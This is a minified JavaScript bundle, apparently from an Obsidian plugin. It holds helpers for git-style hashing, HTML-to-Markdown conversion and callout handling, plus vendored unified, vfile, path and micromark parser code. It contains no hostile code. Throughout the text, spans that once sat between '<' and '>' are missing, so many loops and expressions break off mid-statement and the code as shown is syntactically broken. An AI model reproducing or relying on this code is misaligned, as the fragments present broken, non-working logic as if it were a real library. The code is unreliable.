ea=require("obsidian");m();var l$=it(Hx()),pd=require("obsidian");async function nl(t){let e=new TextEncoder,n=e.encode(t),r=n.byteLength,i=e.encode(`blob ${r}\0`),s=new Uint8Array(i.length+n.length);s.set(i,0),s.set(n,i.length);let o=await crypto.subtle.digest("SHA-1",s);return Array.from(new Uint8Array(o)).map(a=>a.toString(16).padStart(2,"0")).join("")}function jr(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Wx(t){return t.endsWith("/")&&t.slice(0,-1),t.startsWith("/")||(t="/"+t),t}function Ds(t){let e=app.plugins.enabledPlugins;return e.has(t)||e.has(t.toLowerCase())}function Ny(t){return t=decodeURI(t),t=t.replace(/\[#([^\]]+)\]\(#([^)]+)\)/g,'$1'),t=t.replace(/#([\w\\/]+)/g,'$1'),t=t.replace(/(\[.*?\]\()(.+?)\.md(\))/g,"$1$2$3"),t=t.replace(/\[([^\]]+)\]\(([^)]+)\)/g,"[[$2|$1]]"),t.trim()}function Ki(t,e,n=5e3,r=500){return new Promise((i,s)=>{let o,a=()=>{window.clearTimeout(o)},l=new MutationObserver(()=>{a(),o=window.setTimeout(()=>{c(),i()},r)}),c=()=>{l.disconnect(),a(),window.clearTimeout(u)};l.observe(t,{childList:!0,subtree:!0});let u=window.setTimeout(()=>{c(),s(new Error(`Timeout waiting for selector: ${e}`))},n)})}function gd(t,e=1){let n=t.split(` -`),r="> ".repeat(e);return" "+n.join(` -${r}`)}function yd(t){let e=0,n=t.split(` -`),r=[];for(let s of n){let o=0;if(s.startsWith(">")){o+=1;let a=s.substring(1).trim();for(;a.startsWith(">");)a=a.substring(1).trim(),o+=1;r.push(a)}else r.push(s);e=Math.max(e,o)}let i=t;return e>0&&(i=r.join(` -`)),{isInsideCalloutDepth:e,finalQuery:i}}function du(t,e){let n=t.querySelectorAll("style"),r=(0,pd.sanitizeHTMLToDom)(t.innerHTML),i=document.createElement("div");i.appendChild(r),h$(i,"link, meta, title"),i.querySelectorAll("a.internal-link, a.tag, a:not(.external-link):not(.internal-link):not(.tag)").length>0&&f$(i),i=u$(i),i=d$(i);let o=i.classList,a=["datacore-table","datacore-list"],l=["p","h1","h2","h3","h4","h5","h6","ul","ol","li","table","thead","tbody","tr","td","th"];if(o.length>0&&Array.from(o).some(u=>a.includes(u))||l.includes(i.tagName.toLowerCase())){let u=(0,pd.htmlToMarkdown)(i)||"";return Ny(u)}return n.forEach(u=>{i.append(u)}),c$(i),e.serializeToString(i).replace(' xmlns="http://www.w3.org/1999/xhtml"',"")}function c$(t){let e=["__source","__self"];t.querySelectorAll(`${e.map(r=>`[${r}]`).join(", ")}`).forEach(r=>{e.forEach(i=>{r.removeAttribute(i)})})}function u$(t){let e=t.querySelectorAll(".callout");return e.length===0||e.forEach(n=>{let r=document.createElement("blockquote");n.hasAttribute("data-callout-fold")&&(n.getAttribute("data-callout-fold")==="-"&&r.classList.add("is-collapsed"),n.setAttribute("data-callout-fold","")),n.hasAttribute("data-callout")||n.setAttribute("data-callout","note");for(let a=0;aa.cloneNode(!0))),r.classList.remove("datacore");let i=r.querySelector(".callout-content");if(i){let a=document.createElement("div");a.classList.add("callout-content-inner"),a.replaceChildren(...Array.from(i.childNodes,l=>l.cloneNode(!0))),i.replaceChildren(),i.appendChild(a)}let s=r.querySelector(".callout-fold");if(s){s.classList.replace("callout-fold","fold-callout-icon");let a=s.querySelector("svg");a&&s.removeChild(a)}let o=r.querySelector(".callout-title");if(o&&o.children&&!o.children[0].classList.contains("callout-icon")){let a=document.createElement("div");a.classList.add("callout-icon"),o.prepend(a)}n.replaceWith(r)}),t}function f$(t){t.querySelectorAll("a.internal-link, a.tag, a:not(.external-link):not(.internal-link):not(.tag)").forEach(n=>{n.removeAttribute("target"),n.removeAttribute("rel"),n.removeAttribute("data-href"),n.hasAttribute("href")&&(n.getAttribute("href")?.startsWith("http")?n.classList.add("external-link"):n.classList.add("internal-link"))})}function h$(t,e){t.querySelectorAll(e).forEach(r=>{r.remove()})}function d$(t){for(;t.attributes.length===0&&t.children.length===1;){let e=t.firstElementChild;if(e)t.replaceWith(e),t=e;else break}return t}async function My(t,e,n=10,r){let i=[],s=t.length;for(let o=0;owindow.setTimeout(c,0))}return i}m();var Gx=/^\s*?---\n([\s\S]*?)\n---/g;var Qx=/target=["']_blank["'] rel=["']noopener["']/g,Kx=/^([^:]+)::\s(.*?)$/gm,Zx=/\[([^:\][]+)::\s(.*?)\]|\(([^:)(]+)::\s(.*?)\)/g;var S0=it(vt());m();m();m();function Ry(t){if(t)throw t}var kd=it(oS(),1);m();function mu(t){if(typeof t!="object"||t===null)return!1;let e=Object.getPrototypeOf(t);return(e===null||e===Object.prototype||Object.getPrototypeOf(e)===null)&&!(Symbol.toStringTag in t)&&!(Symbol.iterator in t)}m();m();function zy(){let t=[],e={run:n,use:r};return e;function n(...i){let s=-1,o=i.pop();if(typeof o!="function")throw new TypeError("Expected function as last argument, not "+o);a(null,...i);function a(l,...c){let u=t[++s],f=-1;if(l){o(l);return}for(;++fo.length,l;a&&o.push(i);try{l=t.apply(this,o)}catch(c){let u=c;if(a&&n)throw u;return i(u)}a||(l&&l.then&&typeof l.then=="function"?l.then(s,i):l instanceof Error?i(l):s(l))}function i(o,...a){n||(n=!0,e(o,...a))}function s(o){i(null,o)}}m();m();m();m();m();m();function Es(t){return!t||typeof t!="object"?"":"position"in t||"type"in t?lS(t.position):"start"in t||"end"in t?lS(t):"line"in t||"column"in t?Ly(t):""}function Ly(t){return cS(t&&t.line)+":"+cS(t&&t.column)}function lS(t){return Ly(t&&t.start)+"-"+Ly(t&&t.end)}function cS(t){return t&&typeof t=="number"?t:1}var qt=class extends Error{constructor(e,n,r){super(),typeof n=="string"&&(r=n,n=void 0);let i="",s={},o=!1;if(n&&("line"in n&&"column"in n?s={place:n}:"start"in n&&"end"in n?s={place:n}:"type"in n?s={ancestors:[n],place:n.position}:s={...n}),typeof e=="string"?i=e:!s.cause&&e&&(o=!0,i=e.message,s.cause=e),!s.ruleId&&!s.source&&typeof r=="string"){let l=r.indexOf(":");l===-1?s.ruleId=r:(s.source=r.slice(0,l),s.ruleId=r.slice(l+1))}if(!s.place&&s.ancestors&&s.ancestors){let l=s.ancestors[s.ancestors.length-1];l&&(s.place=l.position)}let a=s.place&&"start"in s.place?s.place.start:s.place;this.ancestors=s.ancestors||void 0,this.cause=s.cause||void 0,this.column=a?a.column:void 0,this.fatal=void 0,this.file="",this.message=i,this.line=a?a.line:void 0,this.name=Es(s.place)||"1:1",this.place=s.place||void 0,this.reason=this.message,this.ruleId=s.ruleId||void 0,this.source=s.source||void 0,this.stack=o&&s.cause&&typeof s.cause.stack=="string"?s.cause.stack:"",this.actual=void 0,this.expected=void 0,this.note=void 0,this.url=void 0}};qt.prototype.file="";qt.prototype.name="";qt.prototype.reason="";qt.prototype.message="";qt.prototype.stack="";qt.prototype.column=void 0;qt.prototype.line=void 0;qt.prototype.ancestors=void 0;qt.prototype.cause=void 0;qt.prototype.fatal=void 0;qt.prototype.place=void 0;qt.prototype.ruleId=void 0;qt.prototype.source=void 0;m();var qr={basename:m$,dirname:p$,extname:g$,join:y$,sep:"/"};function m$(t,e){if(e!==void 0&&typeof e!="string")throw new TypeError('"ext" argument must be a string');pu(t);let n=0,r=-1,i=t.length,s;if(e===void 0||e.length===0||e.length>t.length){for(;i--;)if(t.codePointAt(i)===47){if(s){n=i+1;break}}else r<0&&(s=!0,r=i+1);return r<0?"":t.slice(n,r)}if(e===t)return"";let o=-1,a=e.length-1;for(;i--;)if(t.codePointAt(i)===47){if(s){n=i+1;break}}else o<0&&(s=!0,o=i+1),a>-1&&(t.codePointAt(i)===e.codePointAt(a--)?a<0&&(r=i):(a=-1,r=o));return n===r?r=o:r<0&&(r=t.length),t.slice(n,r)}function p$(t){if(pu(t),t.length===0)return".";let e=-1,n=t.length,r;for(;--n;)if(t.codePointAt(n)===47){if(r){e=n;break}}else r||(r=!0);return e<0?t.codePointAt(0)===47?"/":".":e===1&&t.codePointAt(0)===47?"//":t.slice(0,e)}function g$(t){pu(t);let e=t.length,n=-1,r=0,i=-1,s=0,o;for(;e--;){let a=t.codePointAt(e);if(a===47){if(o){r=e+1;break}continue}n<0&&(o=!0,n=e+1),a===46?i<0?i=e:s!==1&&(s=1):i>-1&&(s=-1)}return i<0||n<0||s===0||s===1&&i===n-1&&i===r+1?"":t.slice(i,n)}function y$(...t){let e=-1,n;for(;++e0&&t.codePointAt(t.length-1)===47&&(n+="/"),e?"/"+n:n}function b$(t,e){let n="",r=0,i=-1,s=0,o=-1,a,l;for(;++o<=t.length;){if(o2){if(l=n.lastIndexOf("/"),l!==n.length-1){l<0?(n="",r=0):(n=n.slice(0,l),r=n.length-1-n.lastIndexOf("/")),i=o,s=0;continue}}else if(n.length>0){n="",r=0,i=o,s=0;continue}}e&&(n=n.length>0?n+"/..":"..",r=2)}else n.length>0?n+="/"+t.slice(i+1,o):n=t.slice(i+1,o),r=o-i-1;i=o,s=0}else a===46&&s>-1?s++:s=-1}return n}function pu(t){if(typeof t!="string")throw new TypeError("Path must be a string. Received "+JSON.stringify(t))}m();var uS={cwd:v$};function v$(){return"/"}m();m();function rl(t){return!!(t!==null&&typeof t=="object"&&"href"in t&&t.href&&"protocol"in t&&t.protocol&&t.auth===void 0)}function fS(t){if(typeof t=="string")t=new URL(t);else if(!rl(t)){let e=new TypeError('The "path" argument must be of type string or an instance of URL. Received `'+t+"`");throw e.code="ERR_INVALID_ARG_TYPE",e}if(t.protocol!=="file:"){let e=new TypeError("The URL must be of scheme file");throw e.code="ERR_INVALID_URL_SCHEME",e}return k$(t)}function k$(t){if(t.hostname!==""){let r=new TypeError('File URL host must be "localhost" or empty on darwin');throw r.code="ERR_INVALID_FILE_URL_HOST",r}let e=t.pathname,n=-1;for(;++n0){let[d,...p]=u,g=r[h][1];mu(g)&&mu(d)&&(d=(0,kd.default)(!0,g,d)),r[h]=[c,d,...p]}}}},Wy=new Hy().freeze();function jy(t,e){if(typeof e!="function")throw new TypeError("Cannot `"+t+"` without `parser`")}function qy(t,e){if(typeof e!="function")throw new TypeError("Cannot `"+t+"` without `compiler`")}function Vy(t,e){if(e)throw new Error("Cannot call `"+t+"` on a frozen processor.\nCreate a new processor first, by calling it: use `processor()` instead of `processor`.")}function mS(t){if(!mu(t)||typeof t.type!="string")throw new TypeError("Expected node, got `"+t+"`")}function pS(t,e,n){if(!n)throw new Error("`"+t+"` finished async. Use `"+e+"` instead")}function vd(t){return D$(t)?t:new gu(t)}function D$(t){return!!(t&&typeof t=="object"&&"message"in t&&"messages"in t)}function E$(t){return typeof t=="string"||_$(t)}function _$(t){return!!(t&&typeof t=="object"&&"byteLength"in t&&"byteOffset"in t)}m();m();m();m();m();m();var C$={};function Lo(t,e){let n=e||C$,r=typeof n.includeImageAlt=="boolean"?n.includeImageAlt:!0,i=typeof n.includeHtml=="boolean"?n.includeHtml:!0;return yS(t,r,i)}function yS(t,e,n){if(T$(t)){if("value"in t)return t.type==="html"&&!n?"":t.value;if(e&&"alt"in t&&t.alt)return t.alt;if("children"in t)return gS(t.children,e,n)}return Array.isArray(t)?gS(t,e,n):""}function gS(t,e,n){let r=[],i=-1;for(;++ii?0:i+e:e=e>i?i:e,n=n>0?n:0,r.length<1e4)o=Array.from(r),o.unshift(e,n),t.splice(...o);else for(n&&t.splice(e,n);s0?(Xt(t,t.length,0,e),t):e}m();var bS={}.hasOwnProperty;function vS(t){let e={},n=-1;for(;++n13&&n<32||n>126&&n<160||n>55295&&n<57344||n>64975&&n<65008||(n&65535)===65535||(n&65535)===65534||n>1114111?"\uFFFD":String.fromCodePoint(n)}m();function Zi(t){return t.replace(/[\t\n\r ]+/g," ").replace(/^ | $/g,"").toLowerCase().toUpperCase()}m();var Yn=_s(/[A-Za-z]/),gn=_s(/[\dA-Za-z]/),kS=_s(/[#-'*+\--9=?A-Z^-~]/);function yu(t){return t!==null&&(t<32||t===127)}var wu=_s(/\d/),xS=_s(/[\dA-Fa-f]/),SS=_s(/[!-/:-@[-`{-~]/);function ae(t){return t!==null&&t<-2}function _t(t){return t!==null&&(t<0||t===32)}function be(t){return t===-2||t===-1||t===32}var DS=_s(/\p{P}|\p{S}/u),ES=_s(/\s/);function _s(t){return e;function e(n){return n!==null&&n>-1&&t.test(String.fromCharCode(n))}}m();m();m();function Fe(t,e,n,r){let i=r?r-1:Number.POSITIVE_INFINITY,s=0;return o;function o(l){return be(l)?(t.enter(n),a(l)):e(l)}function a(l){return be(l)&&s++o))return;let v=e.events.length,_=v,C,A;for(;_--;)if(e.events[_][0]==="exit"&&e.events[_][1].type==="chunkFlow"){if(C){A=e.events[_][1].end;break}C=!0}for(w(r),E=v;ES;){let k=n[D];e.containerState=k[1],k[0].exit.call(e,t)}n.length=S}function b(){i.write([null]),s=void 0,i=void 0,e.containerState._closeFlow=void 0}}function P$(t,e,n){return Fe(t,t.attempt(this.parser.constructs.document,e,n),"linePrefix",this.parser.constructs.disable.null.includes("codeIndented")?void 0:4)}m();m();m();m();function sl(t){if(t===null||_t(t)||ES(t))return 1;if(DS(t))return 2}m();function ol(t,e,n){let r=[],i=-1;for(;++i1&&t[n][1].end.offset-t[n][1].start.offset>1?2:1;let f={...t[r][1].end},h={...t[n][1].start};FS(f,-l),FS(h,l),o={type:l>1?"strongSequence":"emphasisSequence",start:f,end:{...t[r][1].end}},a={type:l>1?"strongSequence":"emphasisSequence",start:{...t[n][1].start},end:h},s={type:l>1?"strongText":"emphasisText",start:{...t[r][1].end},end:{...t[n][1].start}},i={type:l>1?"strong":"emphasis",start:{...o.start},end:{...a.end}},t[r][1].end={...o.start},t[n][1].start={...a.end},c=[],t[r][1].end.offset-t[r][1].start.offset&&(c=pn(c,[["enter",t[r][1],e],["exit",t[r][1],e]])),c=pn(c,[["enter",i,e],["enter",o,e],["exit",o,e],["enter",s,e]]),c=pn(c,ol(e.parser.constructs.insideSpan.null,t.slice(r+1,n),e)),c=pn(c,[["exit",s,e],["enter",a,e],["exit",a,e],["exit",i,e]]),t[n][1].end.offset-t[n][1].start.offset?(u=2,c=pn(c,[["enter",t[n][1],e],["exit",t[n][1],e]])):u=0,Xt(t,r-1,n-r+3,c),n=r+c.length-u-2;break}}for(n=-1;++n0&&be(E)?Fe(t,b,"linePrefix",s+1)(E):b(E)}function b(E){return E===null||ae(E)?t.check(IS,g,D)(E):(t.enter("codeFlowValue"),S(E))}function S(E){return E===null||ae(E)?(t.exit("codeFlowValue"),b(E)):(t.consume(E),S)}function D(E){return t.exit("codeFenced"),e(E)}function k(E,v,_){let C=0;return A;function A(G){return E.enter("lineEnding"),E.consume(G),E.exit("lineEnding"),P}function P(G){return E.enter("codeFencedFence"),be(G)?Fe(E,N,"linePrefix",r.parser.constructs.disable.null.includes("codeIndented")?void 0:4)(G):N(G)}function N(G){return G===a?(E.enter("codeFencedFenceSequence"),B(G)):_(G)}function B(G){return G===a?(C++,E.consume(G),B):C>=o?(E.exit("codeFencedFenceSequence"),be(G)?Fe(E,L,"whitespace")(G):L(G)):_(G)}function L(G){return G===null||ae(G)?(E.exit("codeFencedFence"),v(G)):_(G)}}}function V$(t,e,n){let r=this;return i;function i(o){return o===null?n(o):(t.enter("lineEnding"),t.consume(o),t.exit("lineEnding"),s)}function s(o){return r.parser.lazy[r.now().line]?n(o):e(o)}}m();var vu={name:"codeIndented",tokenize:W$},H$={partial:!0,tokenize:G$};function W$(t,e,n){let r=this;return i;function i(c){return t.enter("codeIndented"),Fe(t,s,"linePrefix",5)(c)}function s(c){let u=r.events[r.events.length-1];return u&&u[1].type==="linePrefix"&&u[2].sliceSerialize(u[1],!0).length>=4?o(c):n(c)}function o(c){return c===null?l(c):ae(c)?t.attempt(H$,o,l)(c):(t.enter("codeFlowValue"),a(c))}function a(c){return c===null||ae(c)?(t.exit("codeFlowValue"),o(c)):(t.consume(c),a)}function l(c){return t.exit("codeIndented"),e(c)}}function G$(t,e,n){let r=this;return i;function i(o){return r.parser.lazy[r.now().line]?n(o):ae(o)?(t.enter("lineEnding"),t.consume(o),t.exit("lineEnding"),i):Fe(t,s,"linePrefix",5)(o)}function s(o){let a=r.events[r.events.length-1];return a&&a[1].type==="linePrefix"&&a[2].sliceSerialize(a[1],!0).length>=4?e(o):ae(o)?i(o):n(o)}}m();var Qy={name:"codeText",previous:K$,resolve:Q$,tokenize:Z$};function Q$(t){let e=t.length-4,n=3,r,i;if((t[n][1].type==="lineEnding"||t[n][1].type==="space")&&(t[e][1].type==="lineEnding"||t[e][1].type==="space")){for(r=n;++r=this.left.length+this.right.length)throw new RangeError("Cannot access index `"+e+"` in a splice buffer of size `"+(this.left.length+this.right.length)+"`");return ethis.left.length?this.right.slice(this.right.length-r+this.left.length,this.right.length-e+this.left.length).reverse():this.left.slice(e).concat(this.right.slice(this.right.length-r+this.left.length).reverse())}splice(e,n,r){let i=n||0;this.setCursor(Math.trunc(e));let s=this.right.splice(this.right.length-i,Number.POSITIVE_INFINITY);return r&&ku(this.left,r),s.reverse()}pop(){return this.setCursor(Number.POSITIVE_INFINITY),this.left.pop()}push(e){this.setCursor(Number.POSITIVE_INFINITY),this.left.push(e)}pushMany(e){this.setCursor(Number.POSITIVE_INFINITY),ku(this.left,e)}unshift(e){this.setCursor(0),this.right.push(e)}unshiftMany(e){this.setCursor(0),ku(this.right,e.reverse())}setCursor(e){if(!(e===this.left.length||e>this.left.length&&this.right.length===0||e<0&&this.left.length===0))if(e=4?e(o):t.interrupt(r.parser.constructs.flow,n,e)(o)}}m();m();function Fd(t,e,n,r,i,s,o,a,l){let c=l||Number.POSITIVE_INFINITY,u=0;return f;function f(w){return w===60?(t.enter(r),t.enter(i),t.enter(s),t.consume(w),t.exit(s),h):w===null||w===32||w===41||yu(w)?n(w):(t.enter(r),t.enter(o),t.enter(a),t.enter("chunkString",{contentType:"string"}),g(w))}function h(w){return w===62?(t.enter(s),t.consume(w),t.exit(s),t.exit(i),t.exit(r),e):(t.enter(a),t.enter("chunkString",{contentType:"string"}),d(w))}function d(w){return w===62?(t.exit("chunkString"),t.exit(a),h(w)):w===null||w===60||ae(w)?n(w):(t.consume(w),w===92?p:d)}function p(w){return w===60||w===62||w===92?(t.consume(w),d):d(w)}function g(w){return!u&&(w===null||w===41||_t(w))?(t.exit("chunkString"),t.exit(a),t.exit(o),t.exit(r),e(w)):u999||d===null||d===91||d===93&&!l||d===94&&!a&&"_hiddenFootnoteSupport"in o.parser.constructs?n(d):d===93?(t.exit(s),t.enter(i),t.consume(d),t.exit(i),t.exit(r),e):ae(d)?(t.enter("lineEnding"),t.consume(d),t.exit("lineEnding"),u):(t.enter("chunkString",{contentType:"string"}),f(d))}function f(d){return d===null||d===91||d===93||ae(d)||a++>999?(t.exit("chunkString"),u(d)):(t.consume(d),l||(l=!be(d)),d===92?h:f)}function h(d){return d===91||d===92||d===93?(t.consume(d),a++,f):f(d)}}m();function Ad(t,e,n,r,i,s){let o;return a;function a(h){return h===34||h===39||h===40?(t.enter(r),t.enter(i),t.consume(h),t.exit(i),o=h===40?41:h,l):n(h)}function l(h){return h===o?(t.enter(i),t.consume(h),t.exit(i),t.exit(r),e):(t.enter(s),c(h))}function c(h){return h===o?(t.exit(s),l(o)):h===null?n(h):ae(h)?(t.enter("lineEnding"),t.consume(h),t.exit("lineEnding"),Fe(t,c,"linePrefix")):(t.enter("chunkString",{contentType:"string"}),u(h))}function u(h){return h===o||h===null||ae(h)?(t.exit("chunkString"),c(h)):(t.consume(h),h===92?f:u)}function f(h){return h===o||h===92?(t.consume(h),u):u(h)}}m();function Bo(t,e){let n;return r;function r(i){return ae(i)?(t.enter("lineEnding"),t.consume(i),t.exit("lineEnding"),n=!0,r):be(i)?Fe(t,r,n?"linePrefix":"lineSuffix")(i):e(i)}}var Zy={name:"definition",tokenize:r6},n6={partial:!0,tokenize:i6};function r6(t,e,n){let r=this,i;return s;function s(d){return t.enter("definition"),o(d)}function o(d){return Id.call(r,t,a,n,"definitionLabel","definitionLabelMarker","definitionLabelString")(d)}function a(d){return i=Zi(r.sliceSerialize(r.events[r.events.length-1][1]).slice(1,-1)),d===58?(t.enter("definitionMarker"),t.consume(d),t.exit("definitionMarker"),l):n(d)}function l(d){return _t(d)?Bo(t,c)(d):c(d)}function c(d){return Fd(t,u,n,"definitionDestination","definitionDestinationLiteral","definitionDestinationLiteralMarker","definitionDestinationRaw","definitionDestinationString")(d)}function u(d){return t.attempt(n6,f,f)(d)}function f(d){return be(d)?Fe(t,h,"whitespace")(d):h(d)}function h(d){return d===null||ae(d)?(t.exit("definition"),r.parser.defined.push(i),e(d)):n(d)}}function i6(t,e,n){return r;function r(a){return _t(a)?Bo(t,i)(a):n(a)}function i(a){return Ad(t,s,n,"definitionTitle","definitionTitleMarker","definitionTitleString")(a)}function s(a){return be(a)?Fe(t,o,"whitespace")(a):o(a)}function o(a){return a===null||ae(a)?e(a):n(a)}}m();var Yy={name:"hardBreakEscape",tokenize:s6};function s6(t,e,n){return r;function r(s){return t.enter("hardBreakEscape"),t.consume(s),i}function i(s){return ae(s)?(t.exit("hardBreakEscape"),e(s)):n(s)}}m();var Jy={name:"headingAtx",resolve:o6,tokenize:a6};function o6(t,e){let n=t.length-2,r=3,i,s;return t[r][1].type==="whitespace"&&(r+=2),n-2>r&&t[n][1].type==="whitespace"&&(n-=2),t[n][1].type==="atxHeadingSequence"&&(r===n-1||n-4>r&&t[n-2][1].type==="whitespace")&&(n-=r+1===n?2:4),n>r&&(i={type:"atxHeadingText",start:t[r][1].start,end:t[n][1].end},s={type:"chunkText",start:t[r][1].start,end:t[n][1].end,contentType:"text"},Xt(t,r,n-r+1,[["enter",i,e],["enter",s,e],["exit",s,e],["exit",i,e]])),t}function a6(t,e,n){let r=0;return i;function i(u){return t.enter("atxHeading"),s(u)}function s(u){return t.enter("atxHeadingSequence"),o(u)}function o(u){return u===35&&r++<6?(t.consume(u),o):u===null||_t(u)?(t.exit("atxHeadingSequence"),a(u)):n(u)}function a(u){return u===35?(t.enter("atxHeadingSequence"),l(u)):u===null||ae(u)?(t.exit("atxHeading"),e(u)):be(u)?Fe(t,a,"whitespace")(u):(t.enter("atxHeadingText"),c(u))}function l(u){return u===35?(t.consume(u),l):(t.exit("atxHeadingSequence"),a(u))}function c(u){return u===null||u===35||_t(u)?(t.exit("atxHeadingText"),a(u)):(t.consume(u),c)}}m();m();var AS=["address","article","aside","base","basefont","blockquote","body","caption","center","col","colgroup","dd","details","dialog","dir","div","dl","dt","fieldset","figcaption","figure","footer","form","frame","frameset","h1","h2","h3","h4","h5","h6","head","header","hr","html","iframe","legend","li","link","main","menu","menuitem","nav","noframes","ol","optgroup","option","p","param","search","section","summary","table","tbody","td","tfoot","th","thead","title","tr","track","ul"],Xy=["pre","script","style","textarea"];var ew={concrete:!0,name:"htmlFlow",resolveTo:u6,tokenize:f6},l6={partial:!0,tokenize:d6},c6={partial:!0,tokenize:h6};function u6(t){let e=t.length;for(;e--&&!(t[e][0]==="enter"&&t[e][1].type==="htmlFlow"););return e>1&&t[e-2][1].type==="linePrefix"&&(t[e][1].start=t[e-2][1].start,t[e+1][1].start=t[e-2][1].start,t.splice(e-2,2)),t}function f6(t,e,n){let r=this,i,s,o,a,l;return c;function c(I){return u(I)}function u(I){return t.enter("htmlFlow"),t.enter("htmlFlowData"),t.consume(I),f}function f(I){return I===33?(t.consume(I),h):I===47?(t.consume(I),s=!0,g):I===63?(t.consume(I),i=3,r.interrupt?e:O):Yn(I)?(t.consume(I),o=String.fromCharCode(I),y):n(I)}function h(I){return I===45?(t.consume(I),i=2,d):I===91?(t.consume(I),i=5,a=0,p):Yn(I)?(t.consume(I),i=4,r.interrupt?e:O):n(I)}function d(I){return I===45?(t.consume(I),r.interrupt?e:O):n(I)}function p(I){let Pe="CDATA[";return I===Pe.charCodeAt(a++)?(t.consume(I),a===Pe.length?r.interrupt?e:N:p):n(I)}function g(I){return Yn(I)?(t.consume(I),o=String.fromCharCode(I),y):n(I)}function y(I){if(I===null||I===47||I===62||_t(I)){let Pe=I===47,Nt=o.toLowerCase();return!Pe&&!s&&Xy.includes(Nt)?(i=1,r.interrupt?e(I):N(I)):AS.includes(o.toLowerCase())?(i=6,Pe?(t.consume(I),w):r.interrupt?e(I):N(I)):(i=7,r.interrupt&&!r.parser.lazy[r.now().line]?n(I):s?b(I):S(I))}return I===45||gn(I)?(t.consume(I),o+=String.fromCharCode(I),y):n(I)}function w(I){return I===62?(t.consume(I),r.interrupt?e:N):n(I)}function b(I){return be(I)?(t.consume(I),b):A(I)}function S(I){return I===47?(t.consume(I),A):I===58||I===95||Yn(I)?(t.consume(I),D):be(I)?(t.consume(I),S):A(I)}function D(I){return I===45||I===46||I===58||I===95||gn(I)?(t.consume(I),D):k(I)}function k(I){return I===61?(t.consume(I),E):be(I)?(t.consume(I),k):S(I)}function E(I){return I===null||I===60||I===61||I===62||I===96?n(I):I===34||I===39?(t.consume(I),l=I,v):be(I)?(t.consume(I),E):_(I)}function v(I){return I===l?(t.consume(I),l=null,C):I===null||ae(I)?n(I):(t.consume(I),v)}function _(I){return I===null||I===34||I===39||I===47||I===60||I===61||I===62||I===96||_t(I)?k(I):(t.consume(I),_)}function C(I){return I===47||I===62||be(I)?S(I):n(I)}function A(I){return I===62?(t.consume(I),P):n(I)}function P(I){return I===null||ae(I)?N(I):be(I)?(t.consume(I),P):n(I)}function N(I){return I===45&&i===2?(t.consume(I),U):I===60&&i===1?(t.consume(I),he):I===62&&i===4?(t.consume(I),De):I===63&&i===3?(t.consume(I),O):I===93&&i===5?(t.consume(I),Xe):ae(I)&&(i===6||i===7)?(t.exit("htmlFlowData"),t.check(l6,ve,B)(I)):I===null||ae(I)?(t.exit("htmlFlowData"),B(I)):(t.consume(I),N)}function B(I){return t.check(c6,L,ve)(I)}function L(I){return t.enter("lineEnding"),t.consume(I),t.exit("lineEnding"),G}function G(I){return I===null||ae(I)?B(I):(t.enter("htmlFlowData"),N(I))}function U(I){return I===45?(t.consume(I),O):N(I)}function he(I){return I===47?(t.consume(I),o="",Te):N(I)}function Te(I){if(I===62){let Pe=o.toLowerCase();return Xy.includes(Pe)?(t.consume(I),De):N(I)}return Yn(I)&&o.length<8?(t.consume(I),o+=String.fromCharCode(I),Te):N(I)}function Xe(I){return I===93?(t.consume(I),O):N(I)}function O(I){return I===62?(t.consume(I),De):I===45&&i===2?(t.consume(I),O):N(I)}function De(I){return I===null||ae(I)?(t.exit("htmlFlowData"),ve(I)):(t.consume(I),De)}function ve(I){return t.exit("htmlFlow"),e(I)}}function h6(t,e,n){let r=this;return i;function i(o){return ae(o)?(t.enter("lineEnding"),t.consume(o),t.exit("lineEnding"),s):n(o)}function s(o){return r.parser.lazy[r.now().line]?n(o):e(o)}}function d6(t,e,n){return r;function r(i){return t.enter("lineEnding"),t.consume(i),t.exit("lineEnding"),t.attempt(Cs,e,n)}}m();var tw={name:"htmlText",tokenize:m6};function m6(t,e,n){let r=this,i,s,o;return a;function a(O){return t.enter("htmlText"),t.enter("htmlTextData"),t.consume(O),l}function l(O){return O===33?(t.consume(O),c):O===47?(t.consume(O),k):O===63?(t.consume(O),S):Yn(O)?(t.consume(O),_):n(O)}function c(O){return O===45?(t.consume(O),u):O===91?(t.consume(O),s=0,p):Yn(O)?(t.consume(O),b):n(O)}function u(O){return O===45?(t.consume(O),d):n(O)}function f(O){return O===null?n(O):O===45?(t.consume(O),h):ae(O)?(o=f,he(O)):(t.consume(O),f)}function h(O){return O===45?(t.consume(O),d):f(O)}function d(O){return O===62?U(O):O===45?h(O):f(O)}function p(O){let De="CDATA[";return O===De.charCodeAt(s++)?(t.consume(O),s===De.length?g:p):n(O)}function g(O){return O===null?n(O):O===93?(t.consume(O),y):ae(O)?(o=g,he(O)):(t.consume(O),g)}function y(O){return O===93?(t.consume(O),w):g(O)}function w(O){return O===62?U(O):O===93?(t.consume(O),w):g(O)}function b(O){return O===null||O===62?U(O):ae(O)?(o=b,he(O)):(t.consume(O),b)}function S(O){return O===null?n(O):O===63?(t.consume(O),D):ae(O)?(o=S,he(O)):(t.consume(O),S)}function D(O){return O===62?U(O):S(O)}function k(O){return Yn(O)?(t.consume(O),E):n(O)}function E(O){return O===45||gn(O)?(t.consume(O),E):v(O)}function v(O){return ae(O)?(o=v,he(O)):be(O)?(t.consume(O),v):U(O)}function _(O){return O===45||gn(O)?(t.consume(O),_):O===47||O===62||_t(O)?C(O):n(O)}function C(O){return O===47?(t.consume(O),U):O===58||O===95||Yn(O)?(t.consume(O),A):ae(O)?(o=C,he(O)):be(O)?(t.consume(O),C):U(O)}function A(O){return O===45||O===46||O===58||O===95||gn(O)?(t.consume(O),A):P(O)}function P(O){return O===61?(t.consume(O),N):ae(O)?(o=P,he(O)):be(O)?(t.consume(O),P):C(O)}function N(O){return O===null||O===60||O===61||O===62||O===96?n(O):O===34||O===39?(t.consume(O),i=O,B):ae(O)?(o=N,he(O)):be(O)?(t.consume(O),N):(t.consume(O),L)}function B(O){return O===i?(t.consume(O),i=void 0,G):O===null?n(O):ae(O)?(o=B,he(O)):(t.consume(O),B)}function L(O){return O===null||O===34||O===39||O===60||O===61||O===96?n(O):O===47||O===62||_t(O)?C(O):(t.consume(O),L)}function G(O){return O===47||O===62||_t(O)?C(O):n(O)}function U(O){return O===62?(t.consume(O),t.exit("htmlTextData"),t.exit("htmlText"),e):n(O)}function he(O){return t.exit("htmlTextData"),t.enter("lineEnding"),t.consume(O),t.exit("lineEnding"),Te}function Te(O){return be(O)?Fe(t,Xe,"linePrefix",r.parser.constructs.disable.null.includes("codeIndented")?void 0:4)(O):Xe(O)}function Xe(O){return t.enter("htmlTextData"),o(O)}}m();var 